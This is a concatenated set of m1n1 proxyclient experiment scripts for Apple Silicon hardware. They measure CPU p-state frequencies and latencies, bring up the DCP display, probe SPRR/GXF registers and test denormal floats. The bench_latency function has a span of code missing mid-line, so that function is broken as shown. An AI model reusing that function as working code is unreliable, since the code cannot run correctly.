m1n1-1.4.11/proxyclient/experiments/cpu_pstate_latencies.py000077500000000000000000000134641453754430200240670ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import sys, pathlib, time sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) from m1n1.setup import * from m1n1 import asm p.smp_start_secondaries() tfreq = u.mrs(CNTFRQ_EL0) TEST_CPUS = [1, 4] CLUSTER_PSTATE = 0x20020 CLUSTER_STATUS = 0x20050 chip_id = u.adt["/chosen"].chip_id if chip_id in (0x8103, 0x6000, 0x6001, 0x6002): CREG = [ 0x210e00000, 0x211e00000, ] MAX_PSTATE = [5, 15] elif chip_id in (0x8121, 0x6020, 0x6021, 0x6022): CREG = [ 0x210e00000, 0x211e00000, ] if u.adt["/chosen"].target_type == "J416c": MAX_PSTATE = [7, 19] else: MAX_PSTATE = [7, 17] code = u.malloc(0x1000) util = asm.ARMAsm(f""" bench: mrs x1, CNTPCT_EL0 1: sub x0, x0, #1 cbnz x0, 1b mrs x2, CNTPCT_EL0 sub x0, x2, x1 ret signal_and_write: sev mrs x2, CNTPCT_EL0 add x2, x2, #0x800 1: mrs x3, CNTPCT_EL0 sub x4, x3, x2 cbnz x4, 1b str x1, [x0] mov x0, x3 ret timelog: mrs x2, s3_1_c15_c0_0 /* SYS_IMP_APL_PMCR0 */ orr x2, x2, #1 msr s3_1_c15_c0_0, x2 mov x2, #0xffffffffffffffff msr s3_1_c15_c1_0, x2 isb wfe 1: mrs x2, CNTPCT_EL0 mrs x3, s3_2_c15_c0_0 isb stp x2, x3, [x0], #16 mov x4, #0x40 2: sub x4, x4, #1 cbnz x4, 2b sub x1, x1, #1 cbnz x1, 1b ret """, code) iface.writemem(code, util.data) p.dc_cvau(code, len(util.data)) p.ic_ivau(code, len(util.data)) def bench_cpu(idx, loops=10000000): if idx == 0: elapsed = p.call(util.bench, loops) / tfreq else: elapsed = p.smp_call_sync(idx, util.bench, loops) / tfreq if elapsed == 0: return 0 mhz = (loops / elapsed) / 1000000 return mhz def set_pstate(cluster, pstate): p.mask64(CREG[cluster] + CLUSTER_PSTATE, 0x1f01f, (1<<25) | pstate) print() LOG_ITERS = 10000 logbuf = u.malloc(LOG_ITERS * 16) def bench_latency(cluster, cpu, from_pstate, to_pstate, verbose=False): set_pstate(cluster, from_pstate) bench_cpu(cpu) p.smp_call(cpu, util.timelog, logbuf, LOG_ITERS) psreg = (p.read64(CREG[cluster] + CLUSTER_PSTATE) & ~0x1f01f) | (1<<25) | to_pstate tval = p.call(util.signal_and_write, CREG[cluster] + CLUSTER_PSTATE, psreg) p.smp_wait(cpu) logdata = iface.readmem(logbuf, LOG_ITERS * 16) lts, lcyc = None, None log = [] for i in range(LOG_ITERS): ts, cyc = struct.unpack(" from_pstate blip = 0 cnt = dts_sum = 0 for i in range(off, len(log)): ts, cyc = log[i] dts = ts - lts dcyc = cyc - lcyc cnt += 1 dts_sum += dts blip = max(blip, dts) if f_init is None and ts > tval: tidx = i f_init = (lcyc - cyc_0) / (lts - ts_0) * tfreq / 1000000 dts_init = dts_sum / cnt if f_end is None and ts > (tval + ts_e) / 2: f_end = (cyc_e - cyc) / (ts_e - ts) * tfreq / 1000000 cnt = dts_sum = 0 #if lts is not None: #print(f"{i}: {ts}: {cyc} ({ts-lts}: {cyc-lcyc})") #else: #print(f"{i}: {ts}: {cyc}") lts, lcyc = ts, cyc dts_end = dts_sum / cnt window = 32 if verbose: print(f"Triggered at {tval}") thresh = 2/ (1/f_init + 1/f_end) for i in range(tidx, LOG_ITERS - window - 1): ts0, cyc0 = log[i - window] ts1, cyc1 = log[i + window] f = (cyc1 - cyc0) / (ts1 - ts0) * tfreq / 1000000 if inc and (f > thresh) or ((not inc) and f < thresh): tts = log[i][0] tidx = i if verbose: print(f"Frequency transition at #{i} {tts}") break if verbose: print(f"Initial frequency: {f_init:.2f}") print(f"Final frequency: {f_end:.2f}") print(f"Threshold: {thresh:.2f}") for i in range(max(window, tidx - 10 * window), tidx + 10 * window): ts0, cyc0 = log[i - window] ts1, cyc1 = log[i + window] lts, lcyc = log[i - 1] ts, cyc = log[i] f = (cyc1 - cyc0) / (ts1 - ts0) * tfreq / 1000000 print(f"{i}: {ts}: {cyc} ({ts-lts}: {cyc-lcyc}): {f:.2f}") blip -= min(dts_init, dts_end) return (tts - tval) / tfreq * 1000000000, blip / tfreq * 1000000000 for cluster, creg in enumerate(CREG): cpu = TEST_CPUS[cluster] freqs = [] print(f"#### Cluster {cluster} ####") print(" P-States:") print(" ", end="") for pstate in range(MAX_PSTATE[cluster] + 1): set_pstate(cluster, pstate) freq = int(round(bench_cpu(cpu))) freqs.append(freq) print(f"{pstate}:{freq}MHz", end=" ") print() print() print(" To-> |", end="") for to_pstate in range(1, MAX_PSTATE[cluster] + 1): print(f" {freqs[to_pstate]:7d} |", end="") print() print(" From |", end="") for to_pstate in range(1, MAX_PSTATE[cluster] + 1): print(f"---------+", end="") print() maxblip = 0 for from_pstate in range(1, MAX_PSTATE[cluster] + 1): print(f" {freqs[from_pstate]:4d} |", end="") for to_pstate in range(1, MAX_PSTATE[cluster] + 1): if from_pstate == to_pstate: print(f" ******* |", end="") continue lat, blip = bench_latency(cluster, cpu, from_pstate, to_pstate) print(f" {lat:7.0f} |", end="") maxblip = max(maxblip, blip) print() print() print(f"Maximum execution latency spike: {maxblip:.0f} ns") print() print() #bench_latency(1, TEST_CPUS[1], 15, 14, True) m1n1-1.4.11/proxyclient/experiments/cpu_pstates.py000077500000000000000000000071761453754430200222260ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import sys, pathlib, time sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) from m1n1.setup import * from m1n1 import asm LOOPS = 10000000 freq = u.mrs(CNTFRQ_EL0) CREG = [ 0x210e00000, 0x211e00000, ] CLUSTER_PSTATE = 0x20020 # e-core pstates # 600 972 1332 1704 2064 # p-core pstates # 600 828 1056 1284 1500 1728 1956 2184 2388 2592 2772 2988 3096 3144 3204 code = u.malloc(0x1000) util = asm.ARMAsm(""" bench: mrs x1, CNTPCT_EL0 1: sub x0, x0, #1 cbnz x0, 1b mrs x2, CNTPCT_EL0 sub x0, x2, x1 ret """, code) iface.writemem(code, util.data) p.dc_cvau(code, len(util.data)) p.ic_ivau(code, len(util.data)) def bench_cpu(idx): if idx == 0: elapsed = p.call(util.bench, LOOPS) / freq else: elapsed = p.smp_call_sync(idx, util.bench, LOOPS) / freq if elapsed == 0: return 0 mhz = (LOOPS / elapsed) / 1000000 return mhz print() e_pstate = p.read64(CREG[0] + CLUSTER_PSTATE) p_pstate = p.read64(CREG[1] + CLUSTER_PSTATE) print(f"E-Core pstate: {e_pstate:x}") print(f"P-Core pstate: {p_pstate:x}") #for cluster in range(2): #print(f"Initializing cluster {cluster} (early)") #p.write64(CREG[cluster] + 0x20660, 0x1000000015) #p.write64(CREG[cluster] + 0x48000, 0) #p.write64(CREG[cluster] + 0x48080, 0xa000000000000000) #p.clear64(CREG[cluster] + CLUSTER_PSTATE, 1<<22) #p.set32(PMGR + 0x48000, 1) #p.set32(PMGR + 0x48c00, 1) #p.set32(PMGR + 0x48800, 1) #p.set32(PMGR + 0x48400, 1) CLUSTER_DVMR = 0x206b8 CLUSTER_LIMIT2 = 0x40240 CLUSTER_LIMIT3 = 0x40250 CLUSTER_LIMIT1 = 0x48400 PMGR_CPUGATING = 0x1c080 CLUSTER_CTRL = 0x440f8 CLUSTER_PSCTRL = 0x200f8 for cluster in range(2): print(f"Initializing cluster {cluster}") ena = (1<<63) val = p.read64(CREG[cluster] + CLUSTER_DVMR) if cluster == 1: ena |= (1<<32) | (1<<31) if (val & ena) != ena: print(f"DVMR: {val:#x} -> {val|ena:#x}") p.set64(CREG[cluster] + CLUSTER_DVMR, ena) # CLUSTER_DVMR #p.set64(CREG[cluster] + CLUSTER_LIMIT1, 1<<63) #p.clear64(CREG[cluster] + CLUSTER_LIMIT2, 1<<63) #p.set64(CREG[cluster] + CLUSTER_LIMIT3, 1<<63) #p.set64(CREG[cluster] + CLUSTER_PSTATE, 0) #p.set32(PMGR + PMGR_CPUGATING + 8 * cluster, 1<<31) #p.write64(CREG[cluster] + CLUSTER_CTRL, 1) #p.set64(CREG[cluster] + CLUSTER_PSCTRL, 1<<40) #pstate = p.read64(CREG[cluster] + CLUSTER_PSTATE) & 0xf p.smp_start_secondaries() print("== Initial CPU frequencies ==") for cpu in range(8): print(f"CPU {cpu}: {bench_cpu(cpu):.2f} MHz") def set_pstate(cluster, pstate): # This really seems to be all that's needed p.mask64(CREG[cluster] + CLUSTER_PSTATE, 0xf00f, (1<<25) | pstate | (pstate << 12)) # Optionally, adjust MCC performance in higher p-core pstates if cluster == 1: if pstate > 8: p0, p1 = 0x133, 0x55555340 else: p0, p1 = 0x813057f, 0x1800180 for lane in range(8): p.write32(0x200200dc4 + lane * 0x40000, p0) p.write32(0x200200dbc + lane * 0x40000, p1) # This seems to be about notifying PMP #p.write32(0x23b738004 + cluster*4, pstate) #p.write32(0x23bc34000, 1 << cluster) set_pstate(1, 15) e_pstate = p.read64(CREG[0] + CLUSTER_PSTATE) p_pstate = p.read64(CREG[1] + CLUSTER_PSTATE) print(f"E-Core pstate: {e_pstate:x}") print(f"P-Core pstate: {p_pstate:x}") time.sleep(0.5) print("== Final CPU frequencies ==") #elapsed = p.smp_call(7, util.bench, 80000000) for cpu in range(8): print(f"CPU {cpu}: {bench_cpu(cpu):.2f} MHz") #elapsed = p.smp_wait(7) m1n1-1.4.11/proxyclient/experiments/dart_dump.py000077500000000000000000000006311453754430200216400ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import sys, pathlib sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) import struct from m1n1.setup import * from m1n1 import asm from m1n1.hw.dart import DART if len(sys.argv) > 1: dart_name = sys.argv[1] else: dart_name = "dart-disp0" dart = DART.from_adt(u, "arm-io/" + dart_name) dart.dump_all() dart.dart.regs.dump_regs() m1n1-1.4.11/proxyclient/experiments/dcp.py000077500000000000000000000217501453754430200204340ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import sys, pathlib sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) import struct from construct import * from m1n1.setup import * from m1n1.shell import run_shell from m1n1 import asm from m1n1.hw.dart import DART, DARTRegs from m1n1.fw.dcp.client import DCPClient from m1n1.fw.dcp.manager import DCPManager from m1n1.fw.dcp.ipc import ByRef from m1n1.proxyutils import RegMonitor disp_name = "/arm-io/disp0" external = hasattr(u.adt[disp_name], "external") and u.adt[disp_name].external != 0 compat = u.adt[disp_name].compatible[0].split(",")[-1] mon = RegMonitor(u) if compat == 't8103': #mon.add(0x230000000, 0x18000) #mon.add(0x230018000, 0x4000) #mon.add(0x230068000, 0x8000) #mon.add(0x2300b0000, 0x8000) #mon.add(0x2300f0000, 0x4000) #mon.add(0x230100000, 0x10000) #mon.add(0x230170000, 0x10000) #mon.add(0x230180000, 0x1c000) #mon.add(0x2301a0000, 0x10000) #mon.add(0x2301d0000, 0x4000) #mon.add(0x230230000, 0x10000) #mon.add(0x23038c000, 0x10000) #mon.add(0x230800000, 0x10000) #mon.add(0x230840000, 0xc000) #mon.add(0x230850000, 0x2000) ##mon.add(0x230852000, 0x5000) # big curve / gamma table #mon.add(0x230858000, 0x18000) #mon.add(0x230870000, 0x4000) #mon.add(0x230880000, 0x8000) #mon.add(0x230894000, 0x4000) #mon.add(0x2308a8000, 0x8000) #mon.add(0x2308b0000, 0x8000) #mon.add(0x2308f0000, 0x4000) ##mon.add(0x2308fc000, 0x4000) # stats / RGB color histogram #mon.add(0x230900000, 0x10000) #mon.add(0x230970000, 0x10000) #mon.add(0x230980000, 0x10000) #mon.add(0x2309a0000, 0x10000) #mon.add(0x2309d0000, 0x4000) #mon.add(0x230a30000, 0x20000) #mon.add(0x230b8c000, 0x10000) #mon.add(0x231100000, 0x8000) #mon.add(0x231180000, 0x4000) #mon.add(0x2311bc000, 0x10000) #mon.add(0x231300000, 0x8000) ##mon.add(0x23130c000, 0x4000) # - DCP dart #mon.add(0x231310000, 0x8000) #mon.add(0x231340000, 0x8000) ##mon.add(0x231800000, 0x8000) # breaks DCP ##mon.add(0x231840000, 0x8000) # breaks DCP ##mon.add(0x231850000, 0x8000) # something DCP? ##mon.add(0x231920000, 0x8000) # breaks DCP ##mon.add(0x231960000, 0x8000) # breaks DCP ##mon.add(0x231970000, 0x10000) # breaks DCP ##mon.add(0x231c00000, 0x10000) # DCP mailbox mon.add(0x230845840, 0x40) # error regs def get_color_mode(mgr): best_id = None best_score = -1 for mode in mgr.dcpav_prop['ColorElements']: if mode['IsVirtual']: continue if mode['Depth'] != 8: continue if mode['Score'] > best_score: best_score = mode['Score'] best_id = mode['ID'] return best_id def get_timing_mode(mgr): best_id = None best_score = -1 for mode in mgr.dcpav_prop['TimingElements']: if mode['IsVirtual']: continue if int(mode['Score']) > best_score: best_score = int(mode['Score']) best_id = int(mode['ID']) return best_id mon.poll() dart = DART.from_adt(u, "arm-io/dart-dcp") disp_dart = DART.from_adt(u, "arm-io/dart-disp0") print("DCP DART:") dart.regs.dump_regs() print("DISP DART:") disp_dart.regs.dump_regs() dcp_addr = u.adt["arm-io/dcp"].get_reg(0)[0] dcp = DCPClient(u, dcp_addr, dart, disp_dart) dcp.dva_offset = getattr(u.adt["/arm-io/dcp"][0], "asc_dram_mask", 0) dcp.start() dcp.start_ep(0x20) dcp.start_ep(0x37) dcp.dcpep.initialize() dcp.system.wait_for("system") dcp.system.system.setProperty("gAFKConfigLogMask", 0xffff) mgr = DCPManager(dcp.dcpep, compat) mon.poll() mgr.start_signal() mon.poll() mgr.get_color_remap_mode(6) mgr.enable_disable_video_power_savings(0) mgr.update_notify_clients_dcp([0,0,0,0,0,0,1,1,1,0,1,1,1,1]) mgr.first_client_open() print(f"keep on: {mgr.isKeepOnScreen()}") print(f"main display: {mgr.is_main_display()}") assert mgr.setPowerState(1, False, ByRef(0)) == 0 mon.poll() if external: assert mgr.set_display_device(2) == 0 else: assert mgr.set_display_device(0) == 2 assert mgr.set_parameter_dcp(14, [0], 1) == 0 color_mode = get_color_mode(mgr) timing_mode = get_timing_mode(mgr) mgr.SetDigitalOutMode(color_mode, timing_mode) mon.poll() while mgr.iomfb_prop['DPTimingModeId'] != timing_mode: print("Try re-setting mode") mgr.SetDigitalOutMode(color_mode, timing_mode) mon.poll() if external: assert mgr.set_display_device(2) == 0 else: assert mgr.set_display_device(0) == 2 assert mgr.set_parameter_dcp(14, [0], 1) == 0 t = ByRef(b"\x00" * 0xc0c) assert mgr.get_gamma_table(t) == 2 assert mgr.set_contrast(0) == 0 assert mgr.setBrightnessCorrection(65536) == 0 if external: assert mgr.set_display_device(2) == 0 else: assert mgr.set_display_device(0) == 2 assert mgr.set_parameter_dcp(14, [0], 1) == 0 mon.poll() swapid = ByRef(0) def start(): # arg: IOUserClient ret = mgr.swap_start(swapid, { "addr": 0xFFFFFE1667BA4A00, "unk": 0, "flag1": 0, "flag2": 1 }) assert ret == 0 print(f"swap ID: {swapid.val:#x}") start() mgr.set_matrix(9, [[1<<32, 0, 0], [0, 1<<32, 0], [0, 0, 1<<32]]) mgr.setBrightnessCorrection(65536) mgr.set_parameter_dcp(3, [65536], 1) mgr.set_parameter_dcp(6, [65536], 1) width = mgr.display_width() height = mgr.display_height() surface_id = 3 swap_rec = Container( flags1 = 0x861202, flags2 = 0x04, swap_id = swapid.val, surf_ids = [surface_id, 0, 0, 0], src_rect = [[0, 0, width, height],[0,0,0,0],[0,0,0,0],[0,0,0,0]], surf_flags = [1, 0, 0, 0], surf_unk = [0, 0, 0, 0], dst_rect = [[0, 0, width, height],[0,0,0,0],[0,0,0,0],[0,0,0,0]], swap_enabled = 0x80000007, swap_completed = 0x80000007, bl_unk = 0x1, bl_val = 0x58f058d0, # ~99 nits bl_power = 0x40, ) surf = Container( is_tiled = False, unk_1 = False, unk_2 = False, plane_cnt = 0, plane_cnt2 = 0, format = "BGRA", xfer_func = 13, colorspace = 1, stride = width * 4, pix_size = 4, pel_w = 1, pel_h = 1, offset = 0, width = width, height = height, buf_size = width * height * 4, surface_id = surface_id, has_comp = True, has_planes = True, has_compr_info = False, unk_1f5 = 0, unk_1f9 = 0, ) compressed_surf = Container( is_tiled = False, unk_1 = False, unk_2 = False, plane_cnt = 2, plane_cnt2 = 2, format = 'b3a8', unk_f = 0x00000000, xfer_func = 13, colorspace = 2, stride = width, pix_size = 1, pel_w = 1, pel_h = 1, offset = 0, width = width, height = height, buf_size = 0x00A36000, unk_2d = 0, unk_31 = 0, surface_id = 5, comp_types = [ Container(count = 0, types =[]), Container(count = 0, types =[]), ], has_comp = True, planes = [ Container( width = width, height = height, base = 0, offset = 0, stride = 0x1e000, size = 0x818000, tile_size = 1024, tile_w = 16, tile_h = 16, unk2 = 0x05, ), Container( width = width, height = height, base = 0x818000, offset = 0x818000, stride = 0x7800, size = 0x21e000, tile_size = 256, tile_w = 16, tile_h = 16, unk2 = 0x05, ) ], has_planes = True, compression_info = [ unhex(""" 10 00 00 00 10 00 00 00 00 80 7F 00 00 00 00 00 08 00 00 00 78 00 00 00 44 00 00 00 00 00 00 00 03 00 00 00 00 00 00 00 AA AA AA 00 04 00 00 00 E0 01 00 AA """), unhex(""" 10 00 00 00 10 00 00 00 00 60 A1 00 00 80 81 00 08 00 00 00 78 00 00 00 44 00 00 00 00 00 00 00 03 00 00 00 00 00 00 00 AA AA AA 00 01 00 00 00 78 00 00 AA """), ], has_compr_info = True, unk_1f5 = 0x100000, unk_1f9 = 0x100000, ) outB = ByRef(False) swaps = mgr.swaps mon.poll() fb_size = align_up(width * height * 4, 8 * 0x4000) print(f"Display {width}x{height}, fb size: {fb_size}") buf = u.memalign(0x4000, fb_size) colors = [0xDD0000, 0xFE6230, 0xFEF600, 0x00BB00, 0x009BFE, 0x000083, 0x30009B] for i, color in enumerate(colors): lines = height // len(colors) offset = i * lines * width * 4 p.memset32(buf + offset, color, lines * width * 4) iova = disp_dart.iomap(0, buf, fb_size) surfaces = [surf, None, None, None] #surfaces = [compressed_surf, None, None, None] surfAddr = [iova, 0, 0, 0] def submit(): swap_rec.swap_id = swapid.val ret = mgr.swap_submit_dcp(swap_rec=swap_rec, surfaces=surfaces, surfAddr=surfAddr, unkBool=False, unkFloat=0.0, unkInt=0, unkOutBool=outB) print(f"swap returned {ret} / {outB}") dcp.work() if ret == 0: while swaps == mgr.swaps: dcp.work() print("swap complete!") submit() run_shell(globals(), msg="Have fun!") m1n1-1.4.11/proxyclient/experiments/dcp_iboot.py000077500000000000000000000055061453754430200216310ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import sys, pathlib sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) import struct from construct import * from m1n1.setup import * from m1n1.shell import run_shell from m1n1 import asm from m1n1.hw.dart import DART, DARTRegs from m1n1.fw.dcp.iboot import DCPIBootClient, SurfaceFormat, EOTF, Transform, AddrFormat, Colorspace from m1n1.proxyutils import RegMonitor print(f"Framebuffer at {u.ba.video.base:#x}") p.display_shutdown(DCP_SHUTDOWN_MODE.QUIESCED) dart = DART.from_adt(u, "arm-io/dart-dcp") disp_dart = DART.from_adt(u, "arm-io/dart-disp0") #disp_dart.dump_all() dcp_addr = u.adt["arm-io/dcp"].get_reg(0)[0] dcp = DCPIBootClient(u, dcp_addr, dart, disp_dart) dcp.dva_offset = getattr(u.adt["/arm-io/dcp"][0], "asc_dram_mask", 0) dcp.start() dcp.start_ep(0x23) dcp.start_ep(0x24) dcp.iboot.wait_for("disp0") dcp.dptx.wait_for("dcpav0") dcp.dptx.wait_for("dcpdp0") #dcp.dptx.dcpav0.setPower(False) #dcp.dptx.dcpav0.forceHotPlugDetect() #dcp.dptx.dcpav0.setVirtualDeviceMode(0) #dcp.dptx.dcpav0.setPower(True) #dcp.dptx.dcpav0.wakeDisplay() #dcp.dptx.dcpav0.sleepDisplay() #dcp.dptx.dcpav0.wakeDisplay() print("Waiting for HPD...") while True: hpd, ntim, ncolor = dcp.iboot.disp0.getModeCount() if hpd: break print("HPD asserted") print(f"Connected:{hpd} Timing modes:{ntim} Color modes:{ncolor}") dcp.iboot.disp0.setPower(True) timing_modes = dcp.iboot.disp0.getTimingModes() print("Timing modes:") print(timing_modes) color_modes = dcp.iboot.disp0.getColorModes() print("Color modes:") print(color_modes) timing_modes.sort(key=lambda c: (c.valid, c.width <= 1920, c.fps_int <= 60, c.width, c.height, c.fps_int, c.fps_frac)) timing_mode = timing_modes[-1] color_modes.sort(key=lambda c: (c.valid, c.bpp <= 32, c.bpp, -int(c.colorimetry), -int(c.encoding), -int(c.eotf))) color_mode = color_modes[-1] print("Chosen timing mode:", timing_mode) print("Chosen color mode:", color_mode) dcp.iboot.disp0.setMode(timing_mode, color_mode) w, h = timing_mode.width, timing_mode.height layer = Container( planes = [ Container( addr = 0x013ec000, stride = u.ba.video.stride, addr_format = AddrFormat.PLANAR, ), Container(), Container() ], plane_cnt = 1, width = u.ba.video.width, height = u.ba.video.height, surface_fmt = SurfaceFormat.w30r, colorspace = Colorspace.SCRGBFixed, eotf = EOTF.GAMMA_SDR, transform = Transform.NONE, ) mw = min(w, u.ba.video.width) mh = min(h, u.ba.video.height) swap = dcp.iboot.disp0.swapBegin() print(swap) dcp.iboot.disp0.swapSetLayer(0, layer, (mw, mh, 0, 0), (mw, mh, 0, 0)) dcp.iboot.disp0.swapEnd() #dcp.iboot.disp0.swapWait(swap.swap_id) run_shell(globals(), msg="Have fun!") # full shutdown! dcp.stop(1) p.pmgr_reset(0, "DISP0_CPU0") m1n1-1.4.11/proxyclient/experiments/dcpext_iboot.py000066400000000000000000000065401453754430200223460ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import sys, pathlib sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) import struct from construct import * from m1n1.setup import * from m1n1.shell import run_shell from m1n1 import asm from m1n1.hw.dart import DART, DARTRegs from m1n1.fw.dcp.iboot import DCPIBootClient, SurfaceFormat, EOTF, Transform, AddrFormat from m1n1.fw.dcp.dcpav import * from m1n1.proxyutils import RegMonitor dart = DART.from_adt(u, "arm-io/dart-dcpext0") disp_dart = DART.from_adt(u, "arm-io/dart-dispext0") #disp_dart.dump_all() dcp_addr = u.adt["arm-io/dcpext0"].get_reg(0)[0] dcp = DCPIBootClient(u, dcp_addr, dart, disp_dart) dcp.dva_offset = getattr(u.adt["/arm-io/dcpext0"][0], "asc_dram_mask", 0) dcp.start() dcp.start_ep(0x20) dcp.start_ep(0x23) dcp.start_ep(0x24) dcp.start_ep(0x27) dcp.start_ep(0x2a) dcp.system.wait_for("system") dcp.iboot.wait_for("disp0") dcp.dptx.wait_for("dcpav0") dcp.dptx.wait_for("dcpav1") dcp.dptx.wait_for("dcpdp0") dcp.dptx.wait_for("dcpdp1") dcp.dpport.wait_for("port0") dcp.dpport.wait_for("port1") dcp.system.wait_for("system") dcp.system.system.setProperty("gAFKConfigLogMask", 0xffff) print("Connect...") dcp.dpport.port0.open() dcp.dpport.port0.getLocation() dcp.dpport.port0.getLocation() dcp.dpport.port0.getUnit() # this triggers the power up message dcp.dpport.port0.displayRequest() # these seem to not work/do anything? dcp.dpport.port0.connectTo(True, ATC0, DPPHY, 0) #dcp.dcpav.controller.setPower(False) #dcp.dcpav.controller.forceHotPlugDetect() #dcp.dcpav.controller.setVirtualDeviceMode(0) #dcp.dcpav.controller.setPower(True) #dcp.dcpav.controller.wakeDisplay() #dcp.dcpav.controller.sleepDisplay() #dcp.dcpav.controller.wakeDisplay() print("Waiting for HPD...") while True: hpd, ntim, ncolor = dcp.iboot.disp0.getModeCount() if hpd: break print("HPD asserted") print(f"Connected:{hpd} Timing modes:{ntim} Color modes:{ncolor}") dcp.iboot.disp0.setPower(True) timing_modes = dcp.iboot.disp0.getTimingModes() print("Timing modes:") print(timing_modes) color_modes = dcp.iboot.disp0.getColorModes() print("Color modes:") print(color_modes) timing_modes.sort(key=lambda c: (c.valid, c.width <= 1920, c.fps_int <= 60, c.width, c.height, c.fps_int, c.fps_frac)) timing_mode = timing_modes[-1] color_modes.sort(key=lambda c: (c.valid, c.bpp <= 32, c.bpp, -int(c.colorimetry), -int(c.encoding), -int(c.eotf))) color_mode = color_modes[-1] print("Chosen timing mode:", timing_mode) print("Chosen color mode:", color_mode) dcp.iboot.disp0.setMode(timing_mode, color_mode) w, h = timing_mode.width, timing_mode.height layer = Container( planes = [ Container( addr = 0x013ec000, stride = u.ba.video.stride, addr_format = AddrFormat.PLANAR, ), Container(), Container() ], plane_cnt = 1, width = u.ba.video.width, height = u.ba.video.height, surface_fmt = SurfaceFormat.w30r, colorspace = 2, eotf = EOTF.GAMMA_SDR, transform = Transform.NONE, ) mw = min(w, u.ba.video.width) mh = min(h, u.ba.video.height) swap = dcp.iboot.disp0.swapBegin() print(swap) dcp.iboot.disp0.swapSetLayer(0, layer, (mw, mh, 0, 0), (mw, mh, 0, 0)) dcp.iboot.disp0.swapEnd() #dcp.iboot.disp0.swapWait(swap.swap_id) run_shell(globals(), msg="Have fun!") # full shutdown! dcp.stop(1) p.pmgr_reset(0, "DISP0_CPU0") m1n1-1.4.11/proxyclient/experiments/find_sprr_regs.py000077500000000000000000000046121453754430200226720ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import sys, pathlib sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) from m1n1.setup import * from m1n1.find_regs import * from m1n1 import asm p.iodev_set_usage(IODEV.FB, 0) if u.mrs(SPRR_CONFIG_EL1): u.msr(GXF_CONFIG_EL12, 0) u.msr(SPRR_CONFIG_EL12, 0) u.msr(GXF_CONFIG_EL1, 0) u.msr(SPRR_CONFIG_EL1, 0) # Set up HCR_EL2 for EL1, since we can't do it after enabling GXF u.inst("nop", call="el1") all_regs = set() for reg in [SPRR_CONFIG_EL1, GXF_CONFIG_EL1, SPRR_CONFIG_EL12, GXF_CONFIG_EL12]: old_regs = set(find_regs(u, values=False)) u.msr(reg, 1) el2_items = set(find_regs(u)) el2_vals = dict(el2_items) new_regs = set(k for k, v in el2_items) all_regs = all_regs.union(new_regs) diff_regs = new_regs - old_regs print(reg) for r in sorted(diff_regs): print(" %s --> %lx" % (sysreg_name(r), u.mrs(r))) gl2_items = list(find_regs(u, regs=static_regs,call="gl2")) gl2_vals = dict(gl2_items) gl2_regs = set(k for k, v in gl2_items) print("GL2") for reg in sorted(gl2_regs - all_regs): print(" %s -> %lx" % (sysreg_name(reg), gl2_vals[reg])) for reg in sorted(gl2_regs): if reg in el2_vals and gl2_vals[reg] != el2_vals[reg]: print(" ! %s %lx -> %lx" % (sysreg_name(reg), el2_vals[reg], gl2_vals[reg])) u.msr(GXF_CONFIG_EL12, 0) u.msr(SPRR_CONFIG_EL12, 0) u.msr(GXF_CONFIG_EL1, 0) u.msr(SPRR_CONFIG_EL1, 0) gl1_items = list(find_regs(u, regs=static_regs, call="gl1")) gl1_vals = dict(gl1_items) gl1_regs = set(k for k, v in gl1_items) print("GL1") for reg in sorted(gl1_regs - all_regs): val = gl1_vals[reg] print(" %s -> %lx" % (sysreg_name(reg), val)) cval = u.mrs(reg, call="gl1", silent=False) print(" cur: 0x%lx" % (cval)) try: u.msr(reg, cval, call="gl1", silent=False) except: print(">RO") continue gl2_vals = dict(find_regs(u, regs=static_regs,call="gl2")) u.msr(reg, cval ^ 0xffff, call="gl1", silent=True) for r, v in find_regs(u, regs=static_regs, call="gl2"): if v != gl2_vals[r]: print(" GL2 access: %s %lx -> %lx" % (sysreg_name(r), gl2_vals[r], v)) u.msr(reg, cval, call="gl1", silent=True) for reg in sorted(gl1_regs): if reg in el2_vals and gl1_vals[reg] != el2_vals[reg]: print(" ! %s %lx -> %lx" % (sysreg_name(reg), el2_vals[reg], gl1_vals[reg])) m1n1-1.4.11/proxyclient/experiments/fptest.py000077500000000000000000000043231453754430200211700ustar00rootroot00000000000000#!/usr/bin/env python3 # SPDX-License-Identifier: MIT import sys, pathlib sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) from m1n1.setup import * from m1n1 import asm FPCR_FZ = 1 << 24 ACTLR_DEFAULT = 0xc00 ACTLR_AFP = 1 << 5 AFPCR = (3,6,15,2,5) AFPCR_DAZ = 1 << 0 AFPCR_FTZ = 1 << 1 code_buffer = p.malloc(0x1000) data_buffer = p.malloc(0x1000) code = asm.ARMAsm(""" ldr s0, [x0, #0] ldr s1, [x0, #4] fmul s0, s1, s0 str s0, [x0, #8] ldr s0, [x0, #12] ldr s1, [x0, #16] fmul s0, s1, s0 str s0, [x0, #20] # to test EL0 access # mrs x0, s3_6_c15_c2_5 ret """, code_buffer) iface.writemem(code_buffer, code.data) p.dc_cvau(code_buffer, code.len) p.ic_ivau(code_buffer, code.len) def test_denormals(): data = [ 0x00400000, # a denormal 0x40000000, # 2 0, 0x00800000, # smallest non-denormal 0x3f000000, # 0.5 0, ] iface.writemem(data_buffer, struct.pack("<%dI" % len(data), *data)) p.set_exc_guard(GUARD.SKIP) ret = p.el0_call(code_buffer, data_buffer | REGION_RW_EL0) p.set_exc_guard(GUARD.OFF) v1 = p.read32(data_buffer + 8) v2 = p.read32(data_buffer + 20) print(" Input:", end=" ") if v1 == 0: print("FLUSH ", end=" ") elif v1 == 0x00800000: print("NORMAL", end=" ") else: print("0x08x?" % v1, end=" ") print("Output:", end=" ") if v2 == 0: print("FLUSH ", end=" ") elif v2 == 0x00400000: print("NORMAL", end=" ") else: print("0x08x?" % v2, end=" ") print("r = 0x%x" % ret) 